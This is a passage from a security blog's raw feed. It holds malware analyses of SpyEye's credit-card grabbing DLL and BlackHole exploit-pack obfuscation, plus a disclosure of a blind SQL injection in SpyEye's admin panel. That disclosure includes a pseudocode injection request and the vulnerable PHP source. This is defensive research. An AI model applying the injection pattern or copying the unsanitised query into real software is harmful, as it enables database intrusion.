backend collector&lt;/a&gt;, we discussed about the the data transference mechanism in SpyEye botnet framework. SpyEye uses &lt;span style="font-weight:bold;"&gt;creditgrab.dll&lt;span style="font-weight:bold;"&gt;&lt;/span&gt;&lt;/span&gt;  in order take care of the data that is stolen from the requisite credit cards from victim machines. However, last time we talked about the source code analysis. In order to support the  point, we recently came across the dynamic link libraries for different modules. In this post, we are going to talk about the &lt;span style="font-weight:bold;"&gt;creditgrab.dll&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The DLL main function is designed as follows&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8RwNORG0I/AAAAAAAAA2s/tismhh8scRw/s1600/three.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 221px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8RwNORG0I/AAAAAAAAA2s/tismhh8scRw/s400/three.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570690783961488194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;At first part, Credit Grab Module (CGM) is designed to get the bot information with a guid reference. This bot guid is used to keep a track of the infection occur in the victim machine and the requisite credit card information stolen from that machine. The code snippet presented below shows this fact&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8KymBo4gI/AAAAAAAAA2c/Fg2lqEnee7o/s1600/one.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 355px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8KymBo4gI/AAAAAAAAA2c/Fg2lqEnee7o/s400/one.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570683128397750786" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8OS5UeD1I/AAAAAAAAA2k/ijlwN3b15lM/s1600/two.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 174px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8OS5UeD1I/AAAAAAAAA2k/ijlwN3b15lM/s400/two.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570686981867704146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The function "TakeBotGuid" is used in conjunction with the CGM. In this particular function, bot guid is checked. The &lt;span style="font-weight:bold;"&gt;"repne scasb"&lt;/span&gt; instruction keep on checking the string for NULL terminated value there by decrementing the counter &lt;span style="font-weight:bold;"&gt;(dec ecx)&lt;/span&gt;. If the carry &lt;span style="font-weight:bold;"&gt;( jnb  short loc_1000167D)&lt;/span&gt; value &lt;span style="font-weight:bold;"&gt;(carry=0)&lt;/span&gt;is zero, the function jumps to the required address which points to the bot guid &lt;span style="font-weight:bold;"&gt;"unknown"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The gate collector function &lt;span style="font-weight:bold;"&gt;TakeGateToCollector&lt;/span&gt; is structured as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;void TakeGateToCollector(LPVOID lpGateFunc);&lt;br /&gt;typedef void (*GATETOCOLLECTOR)(IN PBYTE pbData, IN DWORD dwSize);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/TU8XuSqjDEI/AAAAAAAAA20/9qwroTp3o5c/s1600/four.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 92px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/TU8XuSqjDEI/AAAAAAAAA20/9qwroTp3o5c/s400/four.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570697348132310082" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The next function that plays a critical role in hijacking the HTTP communication channel is &lt;span style="font-weight:bold;"&gt;Callback_OnBeforeLoadPage&lt;/span&gt;. The code snippet taken from this function is presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8Y-HJSGyI/AAAAAAAAA28/UILjHRq-BHc/s1600/five.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 335px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TU8Y-HJSGyI/AAAAAAAAA28/UILjHRq-BHc/s400/five.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570698719429532450" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The function loads the bot guid, URI and data  by calling a same sub routine as &lt;span style="font-weight:bold;"&gt;"sub_10001370"&lt;/span&gt;, which is an appropriate string checking and terminating routine to scrutinize appropriate parameters passed to the SpyEye function. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8a7dVkK-I/AAAAAAAAA3E/Dw04dA_-Q2E/s1600/six.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 194px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TU8a7dVkK-I/AAAAAAAAA3E/Dw04dA_-Q2E/s400/six.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570700872870276066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The above presented snippet from the code shows the dissection of strings. The &lt;span style="font-weight:bold;"&gt;"strstr"&lt;/span&gt; and &lt;span style="font-weight:bold;"&gt;"strtok" &lt;/span&gt;functions are used together to find similar patterns and separating string from tokens &lt;span style="font-weight:bold;"&gt;("&amp;")&lt;/span&gt;. Basically, in this function it is used for URL dissection and collection of data from a raw source (i.e. information extraction from raw HTTP content). The XREF structure of the plugin module is traced below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/TU8fr7A0hrI/AAAAAAAAA3U/gH3yczOVrYI/s1600/seven.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 172px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/TU8fr7A0hrI/AAAAAAAAA3U/gH3yczOVrYI/s400/seven.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5570706103516563122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So this post clearly indicates the data collection working of SpyEye bot by analyzing a specific DLL sample.&lt;br /&gt;&lt;br /&gt;We will be covering the analysis of other modules (some new ones) in upcoming posts.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4815703703579007642?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4815703703579007642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/02/spyeye-creditgrabdll-module.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4815703703579007642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4815703703579007642'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/02/spyeye-creditgrabdll-module.html' title='SpyEye CreditGrab.dll Module - Plugin Analysis'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/TU8eXzlrD1I/AAAAAAAAA3M/KpkWoutw7Wg/s72-c/bad_credit_repair.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-3258765959839723313</id><published>2011-01-29T09:32:00.000-08:00</published><updated>2011-01-29T10:17:02.348-08:00</updated><title type='text'>Black Hole - Exploit Obfuscation</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TURSftFi6JI/AAAAAAAAA1g/CZzC8A9LBW4/s1600/obfs.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 270px; height: 187px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TURSftFi6JI/AAAAAAAAA1g/CZzC8A9LBW4/s400/obfs.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5567665743969052818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Recently, we were analyzing some of the exploits bundle together with BlackHole exploit pack. Again we want to say that "Russian Malware is on Fire". BlackHole exploit pack is emerging with fast pace thereby exploiting the browsers at rapid pace. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TURW1aGIYyI/AAAAAAAAA2I/svDE13Tj-z4/s1600/bhe.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 400px; height: 214px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TURW1aGIYyI/AAAAAAAAA2I/svDE13Tj-z4/s400/bhe.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5567670514874868514" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; During our analysis, we came across certain number of malicious files labeled as "new.avi". In reality, these files were exploits that are obfuscated in a good manner. On digging deeper, we find that BlackHole exploit pack is using a well designed JavaScript obfuscation mechanism in order to encode the code thereby resulting in bypass of all sorts of anti viruses. We conducted a small test of relative malicious binary "new.avi" which was a Java SMB exploit for &lt;span style="font-weight:bold;"&gt;"CVE-2010-1423", "CVE-2010-0886".&lt;/span&gt; On carrying anti virus detection test, we found that all AV's failed to detect it.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TURWPdn09qI/AAAAAAAAA2A/K0WnVX5g5-4/s1600/java-smb.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 186px; height: 400px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TURWPdn09qI/AAAAAAAAA2A/K0WnVX5g5-4/s400/java-smb.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5567669862986479266" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This completely shows the fact that, JavaScript obfuscation is used in BlackHole exploit pack is not easily detectable by the AV agents. On continuous approach of understanding the artifacts, we confirm that Blackhole is using "Crypt" code in order to obfuscate the exploits. The domain is &lt;span style="font-weight:bold;"&gt;"CRYPT.IM"&lt;/span&gt; as presented below&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/TURYBBY7E6I/AAAAAAAAA2Q/jcIP8QNxwrA/s1600/crypt.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 241px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/TURYBBY7E6I/AAAAAAAAA2Q/jcIP8QNxwrA/s400/crypt.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5567671813912859554" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This service challenges that crypt can bypass all types of AV,s. Well give a try.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-3258765959839723313?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/3258765959839723313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/01/black-hole-exploit-obfuscation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3258765959839723313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3258765959839723313'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/01/black-hole-exploit-obfuscation.html' title='Black Hole - Exploit Obfuscation'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/TURSftFi6JI/AAAAAAAAA1g/CZzC8A9LBW4/s72-c/obfs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5202150658365990013</id><published>2011-01-23T06:19:00.000-08:00</published><updated>2011-01-23T06:21:04.681-08:00</updated><title type='text'>ISSA Journal - JavaScript Infection Model</title><content type='html'>&lt;center&gt;&lt;div style="width:477px" id="__ss_6602231"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/issa-journal-paper-javascript-infection-model" title="ISSA Journal Paper - JavaScript Infection Model"&gt;ISSA Journal Paper - JavaScript Infection Model&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse6602231" width="350" height="400"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/doc_player.swf?doc=issanov2010aksrje-110117111443-phpapp01&amp;stripped_title=issa-journal-paper-javascript-infection-model&amp;userName=adityaks" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse6602231" src="http://static.slidesharecdn.com/swf/doc_player.swf?doc=issanov2010aksrje-110117111443-phpapp01&amp;stripped_title=issa-journal-paper-javascript-infection-model&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="477" height="510"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more documents from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5202150658365990013?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5202150658365990013/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2011/01/issa-journal-paper-javascript-infection_23.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5202150658365990013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5202150658365990013'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2011/01/issa-journal-paper-javascript-infection_23.html' title='ISSA Journal - JavaScript Infection Model'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-3370271539140453524</id><published>2010-11-23T10:34:00.001-08:00</published><updated>2010-11-23T10:37:45.077-08:00</updated><title type='text'>Malware Paradox - CIA (AAVAR 2010)</title><content type='html'>&lt;center&gt;&lt;div style="width:400px" id="__ss_5878187"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/adityaks/aavar-2010-aksrje" title="13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) conference"&gt;13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) conference&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse5878187" width="350" height="300"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=aavar2010aksrje-101123122132-phpapp02&amp;stripped_title=aavar-2010-aksrje&amp;userName=adityaks" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse5878187" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=aavar2010aksrje-101123122132-phpapp02&amp;stripped_title=aavar-2010-aksrje&amp;userName=adityaks" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more presentations from &lt;a href="http://www.slideshare.net/adityaks"&gt;Aditya K Sood&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/center&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-3370271539140453524?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/3370271539140453524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/11/malware-paradox-cia-aavar-2010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3370271539140453524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/3370271539140453524'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/11/malware-paradox-cia-aavar-2010.html' title='Malware Paradox - CIA (AAVAR 2010)'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-6905596202725578922</id><published>2010-11-18T19:08:00.000-08:00</published><updated>2010-11-18T20:15:05.843-08:00</updated><title type='text'>Binding SpyEye (1.0.x) with BSQL Injection</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/TOXsM49nYnI/AAAAAAAAA1M/jmwZsLYFVkU/s1600/978451374m.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 140px; height: 171px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/TOXsM49nYnI/AAAAAAAAA1M/jmwZsLYFVkU/s400/978451374m.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5541094622742667890" /&gt;&lt;/a&gt; This is true that "vulnerabilities die hard". Recently during the process of testing, it has been detected that some of the released versions of SpyEye starting from 1.0.x has shown an interesting weakness in the "frm_cards_edit.php" module.  This PHP module  is present in the main admin panel and used to manage the credentials. The "id" parameter is used with "GET" request to fetch credit card details thereby updating the database after-wards.This module is vulnerable to blind SQL injection. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;$data= '"id" : "1 AND [Union SQL Poisoning Code]));-- /*"'&lt;br /&gt;$encode_data= apply encoding module on $data&lt;br /&gt;$http_request("GET", path + "frm_cards_edit.php?" + $encode_data )&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Some of the traces of the vulnerable PHP module is presented below.&lt;br /&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;require_once 'mod_dbase.php';&lt;br /&gt;require_once 'mod_time.php';&lt;br /&gt;require_once 'mod_crypt.php';&lt;br /&gt;require_once 'mod_file.php';&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;$id_card = $_GET['id']; if (!@$id_card) exit;&lt;/span&gt;&lt;br /&gt;$dbase = db_open();if (!$dbase) exit;&lt;br /&gt;   &lt;br /&gt;$sql = ' SELECT cards.num, cards.csc, cards.exp_date, cards.name, cards.surname, cards.address, cards.city, cards.state, cards.post_code, country_t.name_country, cards.phone_num, email_t.value_email '&lt;br /&gt;  . ' FROM cards, country_t, email_t'&lt;br /&gt;  . ' WHERE cards.fk_email = email_t.id_email'&lt;br /&gt;  . ' AND cards.fk_country = country_t.id_country'&lt;br /&gt;  . " AND cards.id_card = $id_card"&lt;br /&gt;  . ' LIMIT 0, 1';&lt;br /&gt;$res = mysqli_query ($dbase, $sql);&lt;br /&gt;if ((!(@($res))) || !mysqli_num_rows($res)) {&lt;br /&gt; writelog ("error.log", $sql);&lt;br /&gt; db_close($dbase);&lt;br /&gt; exit();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;$res = mysqli_fetch_row($res);&lt;br /&gt;list($num_card, $csc, $exp_date, $name, $surname, $address, $city, $state, $post_code, $country, $phone_num, $email) = $res;&lt;br /&gt;&lt;br /&gt;db_close($dbase);&lt;br /&gt;&lt;br /&gt;list($year, $month) = split('[\/.-]', $exp_date);&lt;br /&gt;$res[2] = $exp_date = gmdate("m/y", gmmktime(0, 0, 0, $month, 1, $year));&lt;br /&gt;$res[0] = $num = encode(base64_decode($num_card), $csc);&lt;br /&gt;&lt;br /&gt;// labels &amp; names&lt;br /&gt;$reslb['num'] = 'Card number';&lt;br /&gt;$reslb['csc'] = 'CSC';&lt;br /&gt;$reslb['exp_date'] = 'Exp. date';&lt;br /&gt;$reslb['name'] = 'Name';&lt;br /&gt;$reslb['surname'] = 'Surname';&lt;br /&gt;$reslb['address'] = 'Address';&lt;br /&gt;$reslb['city'] = 'City';&lt;br /&gt;$reslb['state'] = 'State';&lt;br /&gt;$reslb['post_code'] = 'ZIP';&lt;br /&gt;$reslb['country'] = 'Country';&lt;br /&gt;$reslb['phone'] = 'Phone';&lt;br /&gt;$reslb['email'] = 'E-Mail';&lt;br /&gt;&lt;br /&gt;// lengths&lt;br /&gt;$lnexp = 7;&lt;br /&gt;$resln[0] = $numln = strlen($num) + $lnexp;&lt;br /&gt;$resln[1] = $cscln = strlen($csc) + $lnexp;&lt;br /&gt;$resln[2] = $exp_dateln = strlen($exp_date) + $lnexp;&lt;br /&gt;$resln[3] = $nameln = strlen($name) + $lnexp;&lt;br /&gt;$resln[4] = $surnameln = strlen($surname) + $lnexp;&lt;br /&gt;$resln[5] = $addressln = strlen($address) + $lnexp;&lt;br /&gt;$resln[6] = $cityln = strlen($city) + $lnexp;&lt;br /&gt;$resln[7] = $stateln = strlen($state) + $lnexp;&lt;br /&gt;$resln[8] = $post_codeln = strlen($post_code) + $lnexp;&lt;br /&gt;$resln[9] = $countryln = strlen($country) + $lnexp;&lt;br /&gt;$resln[10] = $phone_numln = strlen($phone_num) + $lnexp;&lt;br /&gt;$resln[11] = $emailln = strlen($email) + $lnexp;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;It works efficiently in number of cases. Thanks to my team.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-6905596202725578922?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/6905596202725578922/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/11/binding-spyeye-10x-with-blind-sql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6905596202725578922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6905596202725578922'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/11/binding-spyeye-10x-with-blind-sql.html' title='Binding SpyEye (1.0.x) with BSQL Injection'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/TOXsM49nYnI/AAAAAAAAA1M/jmwZsLYFVkU/s72-c/978451374m.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-4998692132925282060</id><published>2010-11-12T10:04:00.000-08:00</published><updated>2010-11-12T11:08:25.767-08:00</updated><title type='text'>SpyEye's Analysis Derived from Weak Base</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TN2DE-7kXMI/AAAAAAAAA1E/BVHbHYZ6rtc/s1600/QuestionMark2.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 160px; height: 160px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TN2DE-7kXMI/AAAAAAAAA1E/BVHbHYZ6rtc/s400/QuestionMark2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5538727238371138754" /&gt;&lt;/a&gt;&lt;br /&gt;Recently, there has been a post at Fortinet's blog &lt;b&gt;&lt;a href="http://blog.fortinet.com/spyeye-exposes-mules/"&gt;"SpyEye Exposes Mule"&lt;/a&gt;&lt;/b&gt; which reflects an example of analysis based on a weak base. It is always good to share analysis using differential information but it should have sound base. Understanding, the critical nature of SpyEye, it requires a complete understanding of malware framework. This type of analysis results in unclear information from technical perspective thereby raising complexity in real time environment.  The purpose of this post is to raise a point about half flooded analysis of malware. There are lot of misleading points in this analysis as follows&lt;br /&gt;&lt;br /&gt;"the most current version of SpyEye we could get our hands on &lt;span style="font-weight:bold;"&gt;(W32/SpyEye.C!tr.spy)&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Which version of SpyEye has been analyzed? No information! Are they talking about signatures ((W32/SpyEye.C!tr.spy).)? That is complete different aspect of version information of malware.&lt;br /&gt;&lt;br /&gt;"SpyEye connects to a “log server” that is different than the server where it fetches updates from, where fraudulent transactions done by the Trojan are logged"&lt;br&gt;&lt;br /&gt;Well, this is not new in the version. Further, the details of this process has been released in our previous post &lt;span style="font-weight:bold;"&gt;&lt;a href="http://secniche.blogspot.com/2010/08/spyeye-backend-collector-generating.html"&gt;"SpyEye Backend Collector"&lt;/a&gt;&lt;/span&gt; This is a claim which is completely out of the analytical point of view because it requires an understanding of complete chronology of SpyEye development framework This feature was actually introduced in &lt;span style="font-weight:bold;"&gt;SpyEye version 1.0.75&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The snapshots provided of the logs do not explain the real technical details of the actual nature of the attack and the outcome presented. In order to deliver information, We can explain a detailed post on it. Later on. &lt;br /&gt;&lt;br /&gt;Further, down the blog post, it has been stated about "SpyEye Upper Limit". In general , there is no such upper limit of SpyEye. It depends on botmaster itself how he wants to design the stealer plugin considering the inherent SDK. Primarily, it is more of banking terms used in money laundering attacks. Most of the banking Trojans use same set of fake transaction &lt;span style="font-weight:bold;"&gt;strategy (mules and drops).&lt;/span&gt; In general, it is an uncompressed LZO log of successful infection.&lt;br /&gt;&lt;br /&gt;It could have been better if technical details based on strong base is considered. We would like to see some more technical details as stated at the end of blog post.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-4998692132925282060?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/4998692132925282060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/11/ignoring-reality-spyeyes-analysis.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4998692132925282060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/4998692132925282060'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/11/ignoring-reality-spyeyes-analysis.html' title='SpyEye&apos;s Analysis Derived from Weak Base'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image 